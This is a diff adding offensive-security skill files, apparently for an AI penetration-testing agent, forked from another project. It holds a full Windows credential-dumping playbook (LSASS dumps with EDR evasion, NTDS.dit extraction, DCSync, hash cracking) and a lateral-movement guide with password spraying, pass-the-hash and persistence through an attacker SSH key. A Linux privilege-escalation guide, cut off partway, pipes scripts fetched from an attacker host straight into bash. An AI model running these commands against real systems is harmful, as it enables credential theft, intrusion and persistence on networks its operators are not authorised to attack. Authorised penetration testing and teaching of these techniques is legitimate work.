- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,249 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# Windows Credential Dumping
|
|
4
|
+
|
|
5
|
+
## Overview
|
|
6
|
+
Comprehensive credential extraction from Windows systems: LSASS process dump,
|
|
7
|
+
SAM/SYSTEM hive extraction, NTDS.dit for domain hashes, DCSync, and DPAPI secrets.
|
|
8
|
+
|
|
9
|
+
## Prerequisites
|
|
10
|
+
```bash
|
|
11
|
+
# On attacker machine
|
|
12
|
+
pip install impacket pypykatz
|
|
13
|
+
# Tools needed on target (or run remotely):
|
|
14
|
+
# mimikatz.exe, procdump.exe, nanodump.exe
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
## Phase 1: LSASS Process Dump
|
|
18
|
+
|
|
19
|
+
### Method A: Procdump (Signed Microsoft Tool)
|
|
20
|
+
```bash
|
|
21
|
+
# On target (bypasses many AV solutions)
|
|
22
|
+
.\procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp
|
|
23
|
+
|
|
24
|
+
# Download dump to attacker
|
|
25
|
+
# On attacker — parse with pypykatz
|
|
26
|
+
pypykatz lsa minidump /workspace/output/TARGET_lsass.dmp \
|
|
27
|
+
> /workspace/output/TARGET_lsass_creds.txt 2>&1
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
### Method B: Nanodump (OPSEC-friendly)
|
|
31
|
+
```bash
|
|
32
|
+
# Dump LSASS with fork technique (avoids suspicious access)
|
|
33
|
+
.\nanodump.exe --fork --write C:\Windows\Temp\lsass.dmp
|
|
34
|
+
|
|
35
|
+
# Dump via syscalls (EDR evasion)
|
|
36
|
+
.\nanodump.exe --syscalls --fork --write C:\Windows\Temp\lsass.dmp
|
|
37
|
+
|
|
38
|
+
# Parse on attacker
|
|
39
|
+
pypykatz lsa minidump /workspace/output/TARGET_lsass.dmp \
|
|
40
|
+
> /workspace/output/TARGET_nanodump_creds.txt 2>&1
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
### Method C: Task Manager / Remote (No Tools)
|
|
44
|
+
```bash
|
|
45
|
+
# Via comsvcs.dll (LOLbin, requires admin)
|
|
46
|
+
# On target powershell:
|
|
47
|
+
# $lsasspid = (Get-Process lsass).Id
|
|
48
|
+
# rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $lsasspid C:\Windows\Temp\lsass.dmp full
|
|
49
|
+
|
|
50
|
+
# Remotely via impacket (if creds available)
|
|
51
|
+
python3 /usr/share/doc/python3-impacket/examples/lsassy.py \
|
|
52
|
+
DOMAIN/Administrator:'Password123'@TARGET \
|
|
53
|
+
-o /workspace/output/TARGET_lsassy_creds.txt
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
### Method D: Mimikatz
|
|
57
|
+
```bash
|
|
58
|
+
# Direct execution on target
|
|
59
|
+
# mimikatz # privilege::debug
|
|
60
|
+
# mimikatz # sekurlsa::logonpasswords
|
|
61
|
+
# mimikatz # sekurlsa::wdigest
|
|
62
|
+
# mimikatz # exit
|
|
63
|
+
|
|
64
|
+
# Remote via impacket + mimikatz
|
|
65
|
+
python3 /usr/share/doc/python3-impacket/examples/atexec.py \
|
|
66
|
+
DOMAIN/Administrator:'Password123'@TARGET \
|
|
67
|
+
'powershell -enc <BASE64_MIMIKATZ>'
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
## Phase 2: SAM & SYSTEM Hive Dump
|
|
71
|
+
|
|
72
|
+
```bash
|
|
73
|
+
# On target — save registry hives
|
|
74
|
+
reg save HKLM\SAM C:\Windows\Temp\SAM
|
|
75
|
+
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
|
|
76
|
+
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY
|
|
77
|
+
|
|
78
|
+
# On attacker — parse with secretsdump
|
|
79
|
+
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \
|
|
80
|
+
-sam /workspace/output/TARGET_SAM \
|
|
81
|
+
-system /workspace/output/TARGET_SYSTEM \
|
|
82
|
+
-security /workspace/output/TARGET_SECURITY \
|
|
83
|
+
LOCAL -outputfile /workspace/output/TARGET_sam_hashes
|
|
84
|
+
|
|
85
|
+
# Or remotely (no files needed)
|
|
86
|
+
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \
|
|
87
|
+
DOMAIN/Administrator:'Password123'@TARGET \
|
|
88
|
+
-outputfile /workspace/output/TARGET_remote_hashes
|
|
89
|
+
|
|
90
|
+
# Parse SAM hashes with pypykatz
|
|
91
|
+
pypykatz registry --sam /workspace/output/TARGET_SAM \
|
|
92
|
+
--system /workspace/output/TARGET_SYSTEM \
|
|
93
|
+
--security /workspace/output/TARGET_SECURITY \
|
|
94
|
+
> /workspace/output/TARGET_pypykatz_sam.txt 2>&1
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
## Phase 3: NTDS.dit Extraction (Domain Controller)
|
|
98
|
+
|
|
99
|
+
```bash
|
|
100
|
+
# Method A: VSS shadow copy (requires DC access)
|
|
101
|
+
# On DC:
|
|
102
|
+
# vssadmin create shadow /for=C:
|
|
103
|
+
# copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\
|
|
104
|
+
# copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\
|
|
105
|
+
|
|
106
|
+
# Method B: ntdsutil
|
|
107
|
+
# ntdsutil "ac i ntds" "ifm" "create full C:\Temp\ntds" q q
|
|
108
|
+
|
|
109
|
+
# Parse NTDS.dit on attacker
|
|
110
|
+
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \
|
|
111
|
+
-ntds /workspace/output/TARGET_ntds.dit \
|
|
112
|
+
-system /workspace/output/TARGET_SYSTEM \
|
|
113
|
+
-hashes lmhash:nthash \
|
|
114
|
+
LOCAL -outputfile /workspace/output/TARGET_ntds_hashes
|
|
115
|
+
|
|
116
|
+
# Count extracted hashes
|
|
117
|
+
wc -l /workspace/output/TARGET_ntds_hashes.ntds
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
## Phase 4: DCSync Attack
|
|
121
|
+
|
|
122
|
+
```bash
|
|
123
|
+
# Requires Replication rights (Domain Admin / MSOL account)
|
|
124
|
+
# Remote DCSync with impacket (no code on DC needed)
|
|
125
|
+
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \
|
|
126
|
+
DOMAIN/Administrator:'Password123'@DC_IP \
|
|
127
|
+
-just-dc -outputfile /workspace/output/TARGET_dcsync
|
|
128
|
+
|
|
129
|
+
# DCSync specific user
|
|
130
|
+
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \
|
|
131
|
+
DOMAIN/Administrator:'Password123'@DC_IP \
|
|
132
|
+
-just-dc-user Administrator \
|
|
133
|
+
-outputfile /workspace/output/TARGET_dcsync_admin
|
|
134
|
+
|
|
135
|
+
# DCSync with pass-the-hash
|
|
136
|
+
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \
|
|
137
|
+
-hashes aad3b435b51404eeaad3b435b51404ee:<NTHASH> \
|
|
138
|
+
DOMAIN/Administrator@DC_IP \
|
|
139
|
+
-just-dc -outputfile /workspace/output/TARGET_dcsync_pth
|
|
140
|
+
|
|
141
|
+
# Mimikatz DCSync (on target)
|
|
142
|
+
# mimikatz # lsadump::dcsync /domain:DOMAIN /all /csv
|
|
143
|
+
# mimikatz # lsadump::dcsync /domain:DOMAIN /user:krbtgt
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
## Phase 5: LSA Secrets
|
|
147
|
+
|
|
148
|
+
```bash
|
|
149
|
+
# Remote LSA secrets dump
|
|
150
|
+
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \
|
|
151
|
+
DOMAIN/Administrator:'Password123'@TARGET \
|
|
152
|
+
-just-dc-ntlm -outputfile /workspace/output/TARGET_lsa_secrets
|
|
153
|
+
|
|
154
|
+
# Includes: service account passwords, DPAPI master keys, cached domain credentials
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
## Phase 6: Cached Domain Credentials (DCC2)
|
|
158
|
+
|
|
159
|
+
```bash
|
|
160
|
+
# Extract cached logon credentials
|
|
161
|
+
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \
|
|
162
|
+
DOMAIN/Administrator:'Password123'@TARGET \
|
|
163
|
+
-outputfile /workspace/output/TARGET_cached_creds
|
|
164
|
+
|
|
165
|
+
# Crack DCC2 hashes (slow, use GPU)
|
|
166
|
+
hashcat -m 2100 /workspace/output/TARGET_cached_creds.cached \
|
|
167
|
+
/usr/share/wordlists/rockyou.txt \
|
|
168
|
+
-o /workspace/output/TARGET_cached_cracked.txt
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
## Phase 7: Windows Credential Manager & DPAPI
|
|
172
|
+
|
|
173
|
+
```bash
|
|
174
|
+
# Dump Credential Manager via cmdkey
|
|
175
|
+
# On target: cmdkey /list
|
|
176
|
+
|
|
177
|
+
# DPAPI master key decryption (impacket)
|
|
178
|
+
python3 /usr/share/doc/python3-impacket/examples/dpapi.py \
|
|
179
|
+
masterkey -file /workspace/output/TARGET_masterkey \
|
|
180
|
+
-sid <USER_SID> -password 'UserPassword'
|
|
181
|
+
|
|
182
|
+
# Decrypt DPAPI blob
|
|
183
|
+
python3 /usr/share/doc/python3-impacket/examples/dpapi.py \
|
|
184
|
+
credential -file /workspace/output/TARGET_cred_blob \
|
|
185
|
+
-key <MASTER_KEY_HEX>
|
|
186
|
+
|
|
187
|
+
# Mimikatz DPAPI
|
|
188
|
+
# mimikatz # dpapi::cred /in:C:\Users\user\AppData\Local\Microsoft\Credentials\<BLOB>
|
|
189
|
+
# mimikatz # dpapi::masterkey /in:C:\Users\user\AppData\Roaming\Microsoft\Protect\<SID>\<GUID> /rpc
|
|
190
|
+
```
|
|
191
|
+
|
|
192
|
+
## Phase 8: Hash Cracking
|
|
193
|
+
|
|
194
|
+
```bash
|
|
195
|
+
# Crack NT hashes
|
|
196
|
+
hashcat -m 1000 /workspace/output/TARGET_ntds_hashes.ntds \
|
|
197
|
+
/usr/share/wordlists/rockyou.txt \
|
|
198
|
+
-r /usr/share/hashcat/rules/best64.rule \
|
|
199
|
+
-o /workspace/output/TARGET_cracked_nt.txt
|
|
200
|
+
|
|
201
|
+
# Crack NTLMv2 (captured via Responder)
|
|
202
|
+
hashcat -m 5600 /workspace/output/TARGET_ntlmv2.txt \
|
|
203
|
+
/usr/share/wordlists/rockyou.txt \
|
|
204
|
+
-o /workspace/output/TARGET_cracked_ntlmv2.txt
|
|
205
|
+
|
|
206
|
+
# Pass-the-Hash with cracked/dumped hashes
|
|
207
|
+
python3 /usr/share/doc/python3-impacket/examples/psexec.py \
|
|
208
|
+
-hashes aad3b435b51404eeaad3b435b51404ee:<NTHASH> \
|
|
209
|
+
Administrator@TARGET cmd
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
## Report Template
|
|
213
|
+
|
|
214
|
+
```
|
|
215
|
+
Target: TARGET
|
|
216
|
+
DC: <DC_HOSTNAME>
|
|
217
|
+
Domain: <DOMAIN>
|
|
218
|
+
|
|
219
|
+
## Credentials Dumped
|
|
220
|
+
Total NT hashes from NTDS.dit: <count>
|
|
221
|
+
Cracked hashes: <count>/<total>
|
|
222
|
+
|
|
223
|
+
## High-Value Accounts
|
|
224
|
+
- Administrator: <hash> [cracked: <password>]
|
|
225
|
+
- krbtgt: <hash> (Golden Ticket capable)
|
|
226
|
+
- Service accounts: <list>
|
|
227
|
+
|
|
228
|
+
## Attack Paths Used
|
|
229
|
+
1. Gained initial access via <method>
|
|
230
|
+
2. Escalated to Domain Admin via <method>
|
|
231
|
+
3. Performed DCSync to dump all hashes
|
|
232
|
+
4. Cracked <X> passwords offline
|
|
233
|
+
|
|
234
|
+
## Recommendations
|
|
235
|
+
1. Enable Credential Guard (blocks LSASS dump)
|
|
236
|
+
2. Enable Protected Users security group for privileged accounts
|
|
237
|
+
3. Restrict Replication rights — audit DS-Replication ACL
|
|
238
|
+
4. Implement tiered administration model
|
|
239
|
+
5. Enable LAPS for local administrator accounts
|
|
240
|
+
6. Monitor for suspicious LSASS access (Sysmon Event 10)
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
## Output Files
|
|
244
|
+
- `/workspace/output/TARGET_lsass_creds.txt` — LSASS parsed credentials
|
|
245
|
+
- `/workspace/output/TARGET_ntds_hashes.ntds` — All domain NT hashes
|
|
246
|
+
- `/workspace/output/TARGET_dcsync.*` — DCSync results
|
|
247
|
+
- `/workspace/output/TARGET_cracked_nt.txt` — Cracked passwords
|
|
248
|
+
|
|
249
|
+
indicators: credential, dumping, lsass, dump, mimikatz, ntds, dcsync, sam, pypykatz, nanodump, procdump, secretsdump, dpapi, cached, domain, lsa, secrets, hash, cracking, passhash
|
|
@@ -0,0 +1,194 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: lateral-movement
|
|
5
|
+
description: Lateral movement techniques — pass-the-hash, pass-the-ticket, psexec, wmiexec, evil-winrm, crackmapexec spray, and moving through Windows/Linux networks after initial access
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Lateral Movement
|
|
9
|
+
|
|
10
|
+
Lateral movement = use access on one system to compromise others. Core techniques: pass-the-hash, credential reuse, remote execution via SMB/WMI/WinRM.
|
|
11
|
+
|
|
12
|
+
**Install:**
|
|
13
|
+
```
|
|
14
|
+
pip install impacket --break-system-packages
|
|
15
|
+
pip install netexec --break-system-packages # newer CrackMapExec
|
|
16
|
+
sudo apt-get install -y evil-winrm crackmapexec impacket-scripts
|
|
17
|
+
# evil-winrm: gem install evil-winrm
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## Credential Reuse — Spray First
|
|
23
|
+
|
|
24
|
+
After getting one credential, try it everywhere:
|
|
25
|
+
|
|
26
|
+
# crackmapexec — spray across subnet:
|
|
27
|
+
crackmapexec smb 10.10.10.0/24 -u administrator -p 'Password123!'
|
|
28
|
+
crackmapexec smb 10.10.10.0/24 -u administrator -H <NTLM_hash>
|
|
29
|
+
crackmapexec winrm 10.10.10.0/24 -u administrator -p 'Password123!'
|
|
30
|
+
crackmapexec ssh 10.10.10.0/24 -u admin -p 'Password123!'
|
|
31
|
+
|
|
32
|
+
# Output: [+] = success, [-] = fail, [Pwn3d!] = admin access
|
|
33
|
+
# Continue-on-success to test all hosts:
|
|
34
|
+
crackmapexec smb 10.10.10.0/24 -u users.txt -p passwords.txt --continue-on-success
|
|
35
|
+
|
|
36
|
+
---
|
|
37
|
+
|
|
38
|
+
## Pass-the-Hash (PTH)
|
|
39
|
+
|
|
40
|
+
NTLM authentication accepts hash directly — no cracking needed:
|
|
41
|
+
|
|
42
|
+
# psexec.py — full interactive SYSTEM shell via SMB:
|
|
43
|
+
psexec.py administrator@<target> -hashes :<NTLM_hash>
|
|
44
|
+
psexec.py domain/administrator@<target> -hashes :<NTLM_hash>
|
|
45
|
+
|
|
46
|
+
# wmiexec.py — WMI-based (stealthier, no service installation):
|
|
47
|
+
wmiexec.py administrator@<target> -hashes :<NTLM_hash>
|
|
48
|
+
wmiexec.py administrator@<target> -hashes :<NTLM_hash> -shell-type powershell
|
|
49
|
+
|
|
50
|
+
# smbexec.py — SMB-based (uses temp service like psexec):
|
|
51
|
+
smbexec.py administrator@<target> -hashes :<NTLM_hash>
|
|
52
|
+
|
|
53
|
+
# atexec.py — Task Scheduler:
|
|
54
|
+
atexec.py administrator@<target> "whoami" -hashes :<NTLM_hash>
|
|
55
|
+
|
|
56
|
+
# crackmapexec:
|
|
57
|
+
crackmapexec smb <target> -u administrator -H <NTLM_hash> -x "whoami"
|
|
58
|
+
crackmapexec smb <target> -u administrator -H <NTLM_hash> --sam # Dump SAM
|
|
59
|
+
crackmapexec smb <target> -u administrator -H <NTLM_hash> --lsa # LSA secrets
|
|
60
|
+
|
|
61
|
+
---
|
|
62
|
+
|
|
63
|
+
## WinRM — Evil-WinRM
|
|
64
|
+
|
|
65
|
+
WinRM = Windows Remote Management (port 5985 HTTP, 5986 HTTPS). More interactive than psexec:
|
|
66
|
+
|
|
67
|
+
# Check if WinRM is open:
|
|
68
|
+
nmap -p 5985,5986 <target>
|
|
69
|
+
|
|
70
|
+
# Connect with password:
|
|
71
|
+
evil-winrm -i <target> -u administrator -p 'Password123!'
|
|
72
|
+
|
|
73
|
+
# Connect with NTLM hash (PTH):
|
|
74
|
+
evil-winrm -i <target> -u administrator -H <NTLM_hash>
|
|
75
|
+
|
|
76
|
+
# Connect with certificate (AD CS attack):
|
|
77
|
+
evil-winrm -i <target> -c cert.pem -k key.pem -S
|
|
78
|
+
|
|
79
|
+
# File upload/download:
|
|
80
|
+
evil-winrm> upload /home/kali/tools/winpeas.exe C:\Temp\winpeas.exe
|
|
81
|
+
evil-winrm> download C:\Temp\lsass.dmp /home/kali/lsass.dmp
|
|
82
|
+
|
|
83
|
+
# Run PS commands:
|
|
84
|
+
evil-winrm> Invoke-Mimikatz # If PowerSploit loaded
|
|
85
|
+
|
|
86
|
+
---
|
|
87
|
+
|
|
88
|
+
## SSH Lateral Movement
|
|
89
|
+
|
|
90
|
+
# If SSH keys found on compromised Linux host:
|
|
91
|
+
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
|
|
92
|
+
cat /home/*/.ssh/id_rsa
|
|
93
|
+
cat /root/.ssh/id_rsa
|
|
94
|
+
|
|
95
|
+
# Test found keys against other hosts:
|
|
96
|
+
ssh -i /home/user/.ssh/id_rsa user@<other_host>
|
|
97
|
+
|
|
98
|
+
# known_hosts reveals other SSH targets:
|
|
99
|
+
cat /home/*/.ssh/known_hosts
|
|
100
|
+
cat /root/.ssh/known_hosts
|
|
101
|
+
|
|
102
|
+
# authorized_keys reveals which keys can access:
|
|
103
|
+
cat /home/*/.ssh/authorized_keys
|
|
104
|
+
|
|
105
|
+
# Add attacker key for persistence:
|
|
106
|
+
echo "ssh-rsa AAAA... attacker@kali" >> /root/.ssh/authorized_keys
|
|
107
|
+
|
|
108
|
+
---
|
|
109
|
+
|
|
110
|
+
## WMI Remote Execution
|
|
111
|
+
|
|
112
|
+
# wmiexec.py:
|
|
113
|
+
wmiexec.py 'domain/user:password'@<target>
|
|
114
|
+
wmiexec.py 'domain/user:password'@<target> "ipconfig /all"
|
|
115
|
+
|
|
116
|
+
# PowerShell WMI (from Windows foothold):
|
|
117
|
+
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\Temp\out.txt" -ComputerName <target> -Credential (Get-Credential)
|
|
118
|
+
|
|
119
|
+
---
|
|
120
|
+
|
|
121
|
+
## DCOM Lateral Movement
|
|
122
|
+
|
|
123
|
+
# dcomexec.py (impacket):
|
|
124
|
+
dcomexec.py 'domain/user:password'@<target> "whoami"
|
|
125
|
+
dcomexec.py 'domain/user:password'@<target> "whoami" -hashes :<NTLM>
|
|
126
|
+
|
|
127
|
+
---
|
|
128
|
+
|
|
129
|
+
## Pass-the-Ticket (Kerberos)
|
|
130
|
+
|
|
131
|
+
# Import ticket to Linux session:
|
|
132
|
+
export KRB5CCNAME=/path/to/ticket.ccache
|
|
133
|
+
|
|
134
|
+
# Use with impacket tools:
|
|
135
|
+
smbexec.py -k -no-pass domain.local/administrator@<target>
|
|
136
|
+
psexec.py -k -no-pass domain.local/administrator@<target>
|
|
137
|
+
wmiexec.py -k -no-pass domain.local/administrator@<target>
|
|
138
|
+
secretsdump.py -k -no-pass domain.local/administrator@<target>
|
|
139
|
+
|
|
140
|
+
---
|
|
141
|
+
|
|
142
|
+
## Extracting Credentials for Continued Movement
|
|
143
|
+
|
|
144
|
+
# secretsdump — dump SAM, LSA, NTDS:
|
|
145
|
+
secretsdump.py administrator:password@<target>
|
|
146
|
+
secretsdump.py -hashes :<NTLM> administrator@<target>
|
|
147
|
+
# Outputs: local hashes + cached domain hashes + LSA secrets
|
|
148
|
+
|
|
149
|
+
# Dump domain controller NTDS.dit:
|
|
150
|
+
secretsdump.py -just-dc domain/administrator:password@<dc_ip>
|
|
151
|
+
# Gets ALL domain user hashes → crack for plaintext or PTH everything
|
|
152
|
+
|
|
153
|
+
# crackmapexec dump:
|
|
154
|
+
crackmapexec smb <target> -u admin -p pass --sam
|
|
155
|
+
crackmapexec smb <target> -u admin -p pass --lsa
|
|
156
|
+
crackmapexec smb <target> -u admin -p pass --ntds # DC only
|
|
157
|
+
|
|
158
|
+
---
|
|
159
|
+
|
|
160
|
+
## Linux → Linux Lateral Movement
|
|
161
|
+
|
|
162
|
+
# Check /etc/hosts for other internal hosts:
|
|
163
|
+
cat /etc/hosts
|
|
164
|
+
|
|
165
|
+
# Check arp cache for reachable hosts:
|
|
166
|
+
arp -a
|
|
167
|
+
ip neigh
|
|
168
|
+
|
|
169
|
+
# SSH config reveals other targets:
|
|
170
|
+
cat /home/*/.ssh/config
|
|
171
|
+
cat /root/.ssh/config
|
|
172
|
+
|
|
173
|
+
# Check for reused passwords in config files:
|
|
174
|
+
grep -r "password" /var/www/ /opt/ /home/ 2>/dev/null | grep -v ".pyc\|Binary"
|
|
175
|
+
|
|
176
|
+
# Internal port scan from compromised host:
|
|
177
|
+
for port in 22 80 443 3306 5432 6379 27017; do
|
|
178
|
+
(echo >/dev/tcp/10.10.10.1/$port) 2>/dev/null && echo "$port open" || echo "$port closed"
|
|
179
|
+
done
|
|
180
|
+
|
|
181
|
+
---
|
|
182
|
+
|
|
183
|
+
## Pro Tips
|
|
184
|
+
|
|
185
|
+
1. **Credential spray before anything else** — `crackmapexec smb 10.x.x.0/24` takes 2 minutes
|
|
186
|
+
2. `wmiexec.py` is stealthier than `psexec.py` — no service installation, better for EDR evasion
|
|
187
|
+
3. `evil-winrm` gives the most interactive shell — use for extended post-exploitation
|
|
188
|
+
4. `secretsdump.py` on any admin-accessible host → all local hashes + LSA secrets
|
|
189
|
+
5. SSH known_hosts on Linux → reveals internal network topology, reachable hosts
|
|
190
|
+
6. `crackmapexec smb --ntds` on DC → every domain account hash → PTH everything in domain
|
|
191
|
+
|
|
192
|
+
## Summary
|
|
193
|
+
|
|
194
|
+
Lateral movement flow: credential reuse spray (`crackmapexec smb subnet`) → PTH via `wmiexec.py` or `evil-winrm` → dump more creds (`secretsdump.py`) → repeat. On Linux: harvest SSH keys → test against known_hosts targets → check config files for reused passwords. Goal: credentials and access accumulate exponentially each hop.
|
|
@@ -0,0 +1,252 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: linux-privesc
|
|
5
|
+
description: Linux privilege escalation — SUID/SGID abuse, sudo misconfigurations, writable cron jobs, capabilities, PATH hijacking, kernel exploits, and linpeas automation
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Linux Privilege Escalation
|
|
9
|
+
|
|
10
|
+
Goal: get from low-privilege user → root. Systematic enumeration before exploitation.
|
|
11
|
+
|
|
12
|
+
**Install:**
|
|
13
|
+
```
|
|
14
|
+
# linpeas: wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -O /home/pentester/tools/linpeas.sh && chmod +x /home/pentester/tools/linpeas.sh
|
|
15
|
+
# OR serve and fetch on target:
|
|
16
|
+
# Attacker: python3 -m http.server 8000 --directory /home/pentester/tools/
|
|
17
|
+
# Target: curl http://<attacker>:8000/linpeas.sh | bash
|
|
18
|
+
sudo apt-get install -y linux-exploit-suggester
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## Automated Enumeration — Start Here
|
|
24
|
+
|
|
25
|
+
# Run linpeas (comprehensive):
|
|
26
|
+
curl -s http://<attacker>/linpeas.sh | bash 2>/dev/null | tee /tmp/linpeas_out.txt
|
|
27
|
+
|
|
28
|
+
# linux-exploit-suggester:
|
|
29
|
+
curl -s http://<attacker>/linux-exploit-suggester.sh | bash
|
|
30
|
+
|
|
31
|
+
# Manual first checks:
|
|
32
|
+
id && whoami # Current user + groups
|
|
33
|
+
sudo -l # Sudo permissions
|
|
34
|
+
uname -a # Kernel version + architecture
|
|
35
|
+
cat /etc/os-release # OS version
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
## SUID / SGID Binaries
|
|
40
|
+
|
|
41
|
+
SUID binaries run as the file owner (often root) regardless of who runs them:
|
|
42
|
+
|
|
43
|
+
# Find all SUID binaries:
|
|
44
|
+
find / -perm -4000 -type f 2>/dev/null
|
|
45
|
+
find / -perm -u=s -type f 2>/dev/null
|
|
46
|
+
|
|
47
|
+
# SGID:
|
|
48
|
+
find / -perm -2000 -type f 2>/dev/null
|
|
49
|
+
|
|
50
|
+
# Check GTFOBins for exploitation: https://gtfobins.github.io/
|
|
51
|
+
# Common exploitable SUID binaries:
|
|
52
|
+
|
|
53
|
+
# bash (SUID bash):
|
|
54
|
+
bash -p # -p preserves SUID UID → root shell
|
|
55
|
+
|
|
56
|
+
# find:
|
|
57
|
+
find . -exec /bin/sh -p \; -quit
|
|
58
|
+
|
|
59
|
+
# vim/vi:
|
|
60
|
+
vim -c ':!/bin/sh'
|
|
61
|
+
|
|
62
|
+
# nmap (old versions):
|
|
63
|
+
nmap --interactive
|
|
64
|
+
nmap> !sh
|
|
65
|
+
|
|
66
|
+
# cp (overwrite /etc/passwd):
|
|
67
|
+
cp /etc/passwd /tmp/passwd_backup
|
|
68
|
+
